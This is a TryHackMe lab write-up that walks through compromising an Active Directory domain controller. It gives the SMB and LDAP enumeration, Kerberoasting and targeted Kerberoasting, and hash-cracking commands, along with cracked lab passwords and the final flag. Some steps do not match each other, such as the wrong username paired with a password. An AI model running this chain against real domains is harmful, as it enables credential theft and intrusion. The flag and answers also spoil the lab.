🏴‍☠️ TryHackMe — THM.LOCAL / Active Directory Write-up Target Information IP : 10.129.145.168 Hostname : AD Domain : thm.local OS : Windows Server 2019 / Build 17763 SMB : 445 LDAP : 389

1. SMB Enumeration

We started by enumerating the SMB service.

The first command was:

smbclient 10.129.145.168

This returned:

Not enough '' characters in service

We then used the correct syntax to enumerate the available SMB shares:

smbclient -L //10.129.145.168 -N

The following shares were discovered:

Sharename Type Comment

---

ADMIN$ Disk Remote Admin C$ Disk Default share IPC$ IPC Remote IPC NETLOGON Disk Logon server share SYSVOL Disk Logon server share

The presence of NETLOGON and SYSVOL strongly indicated that the target was an Active Directory Domain Controller.

2. SMBMap Enumeration

We then used smbmap:

smbmap -H 10.129.145.168

The result showed:

[] Detected 1 hosts serving SMB [] Established 1 SMB connections(s) and 0 authenticated session(s) [!] Access denied on 10.129.145.168

SMB was accessible, but we did not yet have authenticated access.

3. Anonymous SMB Access

We tested anonymous SMB access:

smbclient -L //10.129.145.168 -N

We were able to enumerate the share names.

We then attempted to access SYSVOL:

smbclient //10.129.145.168/SYSVOL -N

Inside the SMB session, we ran:

ls

However, the server returned:

NT_STATUS_ACCESS_DENIED

Therefore, anonymous enumeration was possible, but anonymous read access to SYSVOL was not allowed.

4. NetExec — SMB Null Authentication

We used NetExec to further enumerate SMB:

nxc smb 10.129.145.168 -u '' -p ''

The important information returned was:

Windows 10 / Server 2019 Build 17763 x64 name:AD domain:thm.local signing:True SMBv1:None Null Auth:True

[+] thm.local:

This gave us the following information:

Domain : thm.local Hostname : AD Null Auth : True SMB Signing : True SMBv1 : Disabled

We also attempted to enumerate the shares through NetExec:

nxc smb 10.129.145.168 -u '' -p '' --shares

However, this returned:

STATUS_ACCESS_DENIED 5. LDAP Enumeration

Since the target was an Active Directory Domain Controller, we moved to LDAP enumeration.

We tested anonymous LDAP authentication:

nxc ldap 10.129.145.168 -u '' -p ''

The anonymous LDAP connection was successful.

We then enumerated users:

nxc ldap 10.129.145.168 -u '' -p '' --users

And groups:

nxc ldap 10.129.145.168 -u '' -p '' --groups

Several interesting groups were identified:

Remote Desktop Users Remote Management Users Group Policy Creator Owners Reader Admins

The custom-looking Reader Admins group was particularly interesting.

6. Kerberoasting — CODY_ROY

We used the guest account to perform Kerberoasting:

nxc ldap 10.129.145.168
-u 'guest'
-p ''
--kerberoasting kerberoastables.txt

The enumeration identified:

sAMAccountName: CODY_ROY

A Kerberos TGS hash was obtained:

$krb5tgs$23$*CODY_ROY$THM.LOCAL$...

The $krb5tgs$23$ format indicates a Kerberos TGS using RC4-HMAC.

7. Cracking the CODY_ROY Hash

We used John the Ripper with the rockyou.txt wordlist:

john kerberoastables.txt
--wordlist=/usr/share/wordlists/rockyou.txt

The password was successfully cracked:

MKO)mko0

We now had:

Username : CODY_ROY Password : MKO)mko0 Domain : thm.local

We verified the credentials using NetExec:

nxc smb 10.129.145.168
-u 'CODY_ROY'
-p 'MKO)mko0'

The credentials were accepted:

[+] thm.local\CODY_ROY:MKO)mko0 8. Targeted Kerberoasting

We then moved to Targeted Kerberoasting.

The tool was downloaded with:

git clone https://github.com/ShutdownRepo/targetedKerberoast.git

Then:

cd targetedKerberoast

We targeted:

JERRI_LANCASTER

using:

python3 targetedKerberoast.py
-v
-d 'thm.local'
-u 'ZACHARY_HUNT'
-p 'MKO)mko0'
--dc-host ad.thm.local
--request-user JERRI_LANCASTER

The attack successfully started:

[] Starting kerberoast attacks [] Attacking user (JERRI_LANCASTER) [VERBOSE] SPN added successfully for (JERRI_LANCASTER) [+] Printing hash for (JERRI_LANCASTER)

A TGS hash was obtained:

$krb5tgs$23$*JERRI_LANCASTER$THM.LOCAL$...

The tool then removed the temporary SPN:

[VERBOSE] SPN removed successfully for (JERRI_LANCASTER)

This indicates that the tool temporarily added an SPN, requested the Kerberos service ticket, and then removed the SPN.

9. Cracking JERRI_LANCASTER

The extracted hash was saved as:

jerri.hash

We then used John:

john jerri.hash
--wordlist=/usr/share/wordlists/rockyou.txt

The password was successfully recovered:

lovinlife!

Therefore:

Username : JERRI_LANCASTER Password : lovinlife! 10. RDP Access

From the LDAP enumeration, we knew that JERRI_LANCASTER was a member of:

Remote Desktop Users

We therefore used RDP to obtain graphical access:

xfreerdp3 /v:ad.thm.local
/u:'jerri_lancaster'
/p:'lovinlife!'
/dynamic-resolution
/clipboard
/cert:ignore Options /v:ad.thm.local

Specifies the RDP target.

/u:'jerri_lancaster'

Specifies the username.

/p:'lovinlife!'

Specifies the password.

/dynamic-resolution

Enables dynamic screen resolution.

/clipboard

Enables clipboard integration.

/cert:ignore

Ignores certificate warnings.

This gave us graphical access to the target as:

thm.local\JERRI_LANCASTER 11. SANFORD_DAUGHERTY

During the exploitation process, we obtained another set of credentials:

Username : SANFORD_DAUGHERTY Password : RESET_ASAP123

We verified the credentials with NetExec:

nxc smb 10.129.145.168
-u 'sanford_daugherty'
-p 'RESET_ASAP123'

The important result was:

[+] thm.local\sanford_daugherty:RESET_ASAP123 (Pwn3d!) What does Pwn3d! mean?

Pwn3d! indicates that NetExec detected administrative access for the supplied credentials on the target through SMB.

This was a major escalation point in the attack chain.

12. Administrative Access

We attempted to use Impacket's SMB execution functionality:

smbexec.py
'THM.LOCAL/SANFORD_DAUGHERTY:RESET_ASAP123@10.129.145.168'

Initially, the command returned:

smbexec.py: command not found

This happened because smbexec.py was not available in the current PATH.

After the Impacket tools were available, SMB-based administrative command execution could be used.

13. C:\Scripts — syncer.ps1

While exploring the system, we discovered:

C:\Scripts

Inside the directory was:

syncer.ps1

We read the PowerShell script:

type C:\Scripts\syncer.ps1

The script contained:

Import Active Directory module

Import-Module ActiveDirectory

Define credentials

$Username = "SANFORD_DAUGHERTY" $Password = ConvertTo-SecureString "RESET_ASAP123" -AsPlainText -Force $Credential = New-Object System.Management.Automation.PSCredential($Username, $Password)

Sync Active Directory

Sync-ADObject -Object "DC=thm,DC=local" -Source "ad.thm.local" -Destination "ad2.thm.local" -Credential $Credential

The script exposed the credentials:

SANFORD_DAUGHERTY RESET_ASAP123

and used them with:

Sync-ADObject

to synchronize Active Directory objects between:

ad.thm.local

and:

ad2.thm.local

This helped us understand the Active Directory environment and confirmed the administrative credentials.

14. Administrator Access

After obtaining administrative access, we had a command shell:

C:\Windows\system32>

We attempted to read the Administrator flag using:

type C:\users\dministrator\desktop\flag.txt.txt

This failed because the username was misspelled.

The correct path was:

type C:\Users\Administrator\Desktop\flag.txt.txt

The flag was returned:

THM{INFILTRATION_COMPLETE_OUR_COMMAND_OVER_NETWORK_ASSERTS} 🚩 Final Flag THM{INFILTRATION_COMPLETE_OUR_COMMAND_OVER_NETWORK_ASSERTS} 🗺️ Complete Attack Chain ┌──────────────────────┐ │ 10.129.145.168 │ │ AD / thm.local │ └──────────┬───────────┘ │ ▼ SMB Enumeration │ ▼ Anonymous SMB / LDAP │ ▼ AD Enumeration │ ▼ Kerberoasting │ ▼ CODY_ROY │ ▼ MKO)mko0 │ ▼ Targeted Kerberoasting │ ▼ JERRI_LANCASTER │ ▼ lovinlife! │ ▼ RDP │ ▼ SANFORD_DAUGHERTY │ ▼ RESET_ASAP123 │ ▼ Pwn3d! │ ▼ Administrative Access │ ▼ Administrator │ ▼ flag.txt.txt │ ▼ THM{INFILTRATION_COMPLETE_OUR_COMMAND_OVER_NETWORK_ASSERTS}